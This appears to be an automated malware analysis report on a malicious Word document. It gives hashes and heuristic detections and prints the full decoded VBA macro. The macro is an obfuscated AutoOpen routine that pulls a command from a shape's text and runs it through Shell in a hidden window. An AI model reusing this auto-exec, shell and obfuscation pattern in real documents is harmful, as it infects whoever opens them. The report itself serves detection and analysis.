Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1755d9791eb01cf8…

MALICIOUS

Office (OLE)

106.1 KB Created: 2018-12-10 06:57:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: b3b26627620c1b1318002b5921718579 SHA-1: b273f8d7f84f1f382516cc40246e94233b3a3783 SHA-256: 1755d9791eb01cf89adbec8f1792b73eb0d89eb94f9cf7e9899cf1e61fc8a3d3
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6779190-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6779190-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    . _
Shell(IPwXOE, zAojjnrD), biSckFcc)
    ckYiZtwXppajMGJIXiDRmK = DukUhzINnajsEqJVUhYVkP / Tan(232534274) * 42179576 / Tan(2198914) + IbJhzzRvVjoYPYjbnJcOER - Cos(90757666) + (58535397 / Int(kNpFnLiUsqhDFajaJVajv))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
vsIHz
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5461 bytes
SHA-256: c2dd12f13b88414750b854e5ae9d3142fb8a61f64af8f9ef0933e7ef7796bd22
Detection
ClamAV: No threats found
Obfuscation or payload: likely
148 of 182 identifiers look randomly generated (e.g. 'FOnFGWkFwUDqqXzDaisOFSpz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zcAYvnDJwa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
vsIHz
End Sub

Attribute VB_Name = "PwjESMOYw"
Function vsIHz()
On Error Resume Next
    pFHOzOzVaVfwLIYcoV = SpJhTVjOzduYRooZLjaBjGhz / Tan(123369166) * 186161124 / Tan(181272637) + ZDjivXZfjXnsQACrfw - Cos(89603599) + (53242944 / Int(jNtNUOMILOruNptzPc))
Set PIsnvikjDpRVOTwppmRbINW = JwwDKIuQUStOqawfki
TuscaQzEKzBmBmY = zkjYvvBBvahwPomqiFDa
    FOnFGWkFwUDqqXzDaisOFSpz = wEiKXdpvjTrKlhpvhGi / Tan(102574322) * 87720771 / Tan(204302771) + zjWElwrnYniKRCubrNvHDG - Cos(295593091) + (273420819 / Int(DSXLHkMRPkbAYEzrjSXGXYsn))
Set qBRXmrqhHhdUcRDRtCSS = SIwQXnVjYfZkjQiutcs
SQWVXEAToiVaUEXsVHPDU = jCDjvAVWzZZhIBmbtTnCuuJz
    XsihZmXDJPNHIYvsUiSiKs = MKIRRdUVfUYkCEQoto / Tan(276107399) * 25456999 / Tan(183377385) + baqnNLlXIbfXSXQVGZouimjo - Cos(294752494) + (262654356 / Int(tZuUotOihaiQJk))
Set LwEfltYXiQPhPoq = uZHrwOHqiDoivc
fJbanjNBKVBLEZLz = qYjqBsJzpOBiEpcGGjXoNDT
    iXRYwQsaMTnrRURkQWIBo = IkcNaajGqokzSptMRXbrz / Tan(250683707) * 152503556 / Tan(317387135) + IzchGXVutPjwlpSuFdwGTB - Cos(184827079) + (282489085 / Int(EkawnWNjaSdEYj))
Set PDYaMPjhJzrIYpTHV = dBmuzGsTQKXpqjthqQcBd
YDRzwNpqHKISviiVGShtzW = TGKPqwCiTHodjdzJ
    XXTEGifNusMaKQEojKRKmrI = sNzznIrmJjPzbrkiob / Tan(251152993) * 306375206 / Tan(234134341) + DAtiFuapIjOwMt - Cos(229643104) + (218569378 / Int(mBZQaAHMpamWLFOlrJz))
Set EDzLUaiidirvHA = tJkczmWPToTzbA
UjjdViEOwARYiKjq = KFVbGjARindWBdHiQ
    bqfEXhihzhsMiGHdBARTPiwK = NtLONKpoHdFMElVl / Tan(291063497) * 145689077 / Tan(100189666) + XuwfzqUiDkttUvKnSSkWDXX - Cos(189908642) + (18214319 / Int(zOviXMhQmSufOXpHk))
Set kLsIbhSZlsrzXVcjsG = VMjLDIrsnENhwnAsqYonOP
apZnvZCfijUPKDAoAjofVYLv = XcmLDTYFPGWiVwTk
Set MifRo = zcAYvnDJwa.Shapes(ochOnFjzD + "qoSFltOjmNzhJn" + WilODjLm).TextFrame
    wDvzRIsNfSwhXlmEXBSmR = iZzuiZcmFihDFbAEL / Tan(65825637) * 2147834 / Tan(57843861) + juZAmiAjRAVQjZVBXdSkt - Cos(86068153) + (131159504 / Int(UjLESpImIjufYtsqcDoiLmYB))
Set DojhYpWaZfFXwQcrjIzf = ddlcHpYpohIJZPAcEktXEzO
SjmMmbiaWnZLuFQzzklzzO = BbPiXEHmiOwJbDMDMD
    IPIsowTiGJYzPJVbjj = WADmmAajVPLHzdtbQXoZ / Tan(232103906) * 325790960 / Tan(59328024) + RRLOrVqEczzTFc - Cos(141569577) + (291298975 / Int(PwTvCbUWhEDsKuYr))
Set VUpLrzZHiwfaWo = wLUzpHOqqsJQmL
FYbFHACCXwtoXdowL = BwwZZBsGiwTiinvMs
    PwLYluslEfzompVYcaZw = RDLjifwmpXdIBJzEDwRtwb / Tan(159883241) * 87710250 / Tan(297475834) + bckdrtdqztzrCOuzOIUj - Cos(241370165) + (205437036 / Int(TYbHFsqiwnCEVBLjjfK))
Set EFMvCwzMQsNvvEQF = lXwHOBDAKYwDclAZS
OMjFHvdOFaGIRkGQzI = FqEIvsZzJoHMVclC
IPwXOE = MifRo.ContainingRange + rNCvwz + jBtJwA + TfzaNA + ioPFs + FYORwX + DfsMHYE + izujzCp + paIlqaj + zDPkNd + VolEHLE
    cRqTnUBqzhoinHIlU = rXnhChiZuztoDiz / Tan(302455508) * 323747016 / Tan(210536241) + nKJwiwGzzwzBMfjJRavO - Cos(61683009) + (274666804 / Int(ZCwJdFjtJcHhwiaJ))
Set wjjdvzhIWYfTBRTzwjthn = rQDpYEwkbrQKSZJkdEPB
hBZILokAwjbzTrP = GZdJmwoCqzuoMGoSlVK
    NkvDNuWaIsfAQjZkTkk = SGASActwYrLCdj / Tan(283309891) * 23457642 / Tan(117929014) + qwBnDYUNQDjGjfuk - Cos(33206100) + (45433469 / Int(cClAaBRjcXkrWSItlAfDb))
Set nLpPSIjItbkToIFzbllsrpjL = nalJjZDHiPaKKjJz
iJHCdAonZtRjGzidEi = vzJBjMKtimQCcsWKWEHKa
    ftczPUpzAZDXXjM = fjYDozIaBMwhuonPbOGjiPJo / Tan(242852753) * 94084324 / Tan(7306241) + SvXZrkYlAJQhlBwDV - Cos(52344402) + (36477545 / Int(mnwIcfNQZkSawsIF))
Set YqJQBPRzYvhQFScIpiizOw = XHLQrpkstsOwRvvk
iKEkfzURpRHOdGZcfmJ = waIoDoYrWLMttGVEsarHrz
    uAZCHPBVRwlRfCzztOzT = vSShIoKhBlJicRzIzoJ / Tan(66152698) * 286538465 / Tan(197105072) + hMibBMBnkpIwhHV - Cos(336364504) + (182299387 / Int(oQKciDkBrvZoJjRMkVZMJUz))
Set YtTSPBcpiSCNvFdfqzVFNwfc = VWzZOiTRMDpkSlqTkGrdE
fruWJztkcOrkuicQT = jwjBouXNimdqnwcFqIisY
Const zAojjnrD = 0
    rYUjATBpRzzdXkpWLWQp = tEJEbTrQlvbowahHmUlhip / Tan(210591992) * 339641990 / Tan(296900294) + uBSEjZBrwTKbYzKZfCX - Cos(267178380) + (162918358 / Int(HPZBfIEEYJLCZpzh))
Set CnGbNwKwmXJJdbEA = uDfitsmuvAQWZUbwpVBRi
SPFtluvuhGCquuCiIuThSvu = MCiKnGDiBAkPdAHswAS
    zjOEXTOIsBSkhOlvaiSEISp = sEBHWqTUHKvVjuBQwQj / Tan(242656206) * 237630116 / Tan(115651010) + pVDFmiXljroLSRHmChwdWSQ - Cos(78324370) + (212027904 / Int(BIrmEpbNMlSkhljZOdvi))
Set zpiiDloUWFrZJjPuumwkF = VTRAMtzEmQzuCTM
AEmtqfbKXFUfUrw = duTKMDZuXSTacPiwhmluzMOq
jZhwLM = Array(zAbXV, jiMkGbD, ouJmBH, Interaction _
. _
Shell(IPwXOE, zAojjnrD), biSckFcc)
    ckYiZtwXppajMGJIXiDRmK = DukUhzINnajsEqJVUhYVkP / Tan(232534274) * 42179576 / Tan(2198914) + IbJhzzRvVjoYPYjbnJcOER - Cos(90757666) + (58535397 / Int(kNpFnLiUsqhDFajaJVajv))
Set ApIcailkrNBwPmcph = KEXiwYhisnvwncnSMzw
lAiHzUCGKzzTnCWr = SqkurlzpuaYLzZcsXmJWPii
    vlzdkrfKYVBsUsbrLwzwaYc = SFKjnsAuJXRjiFc / Tan(156389843) * 262214348 / Tan(61345373) + mKuUaniTXiKRWJrLf - Cos(217006925) + (333330434 / Int(fUHiwbsJFUZIRGpuYk))
Set tEYdLwGvaquwqpmmSDLXz = ZODJBAPTwmuzFSGrwjqfRSK
iTiUXrMNkwiKaCzGfG = HCtkUfbHbhTdHEfaiVvwFZh
    YlfFhzdDRpbOiQTKYP = TrOKzRGKcSHQHZzjJF / Tan(129684557) * 151990454 / Tan(60051287) + SNqjTGEbhiYuccKahnbmB - Cos(246924435) + (63689931 / Int(TpkjKFFsJlZATQwzFAk))
Set rNwVZiXjvWhhERNiWYRc = jkrDJGRpbhAAjhGsOGb
YwnDswCDUdjjIDLdESPcG = UpjjXkHlHRpuAjwoKNDNVwA
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.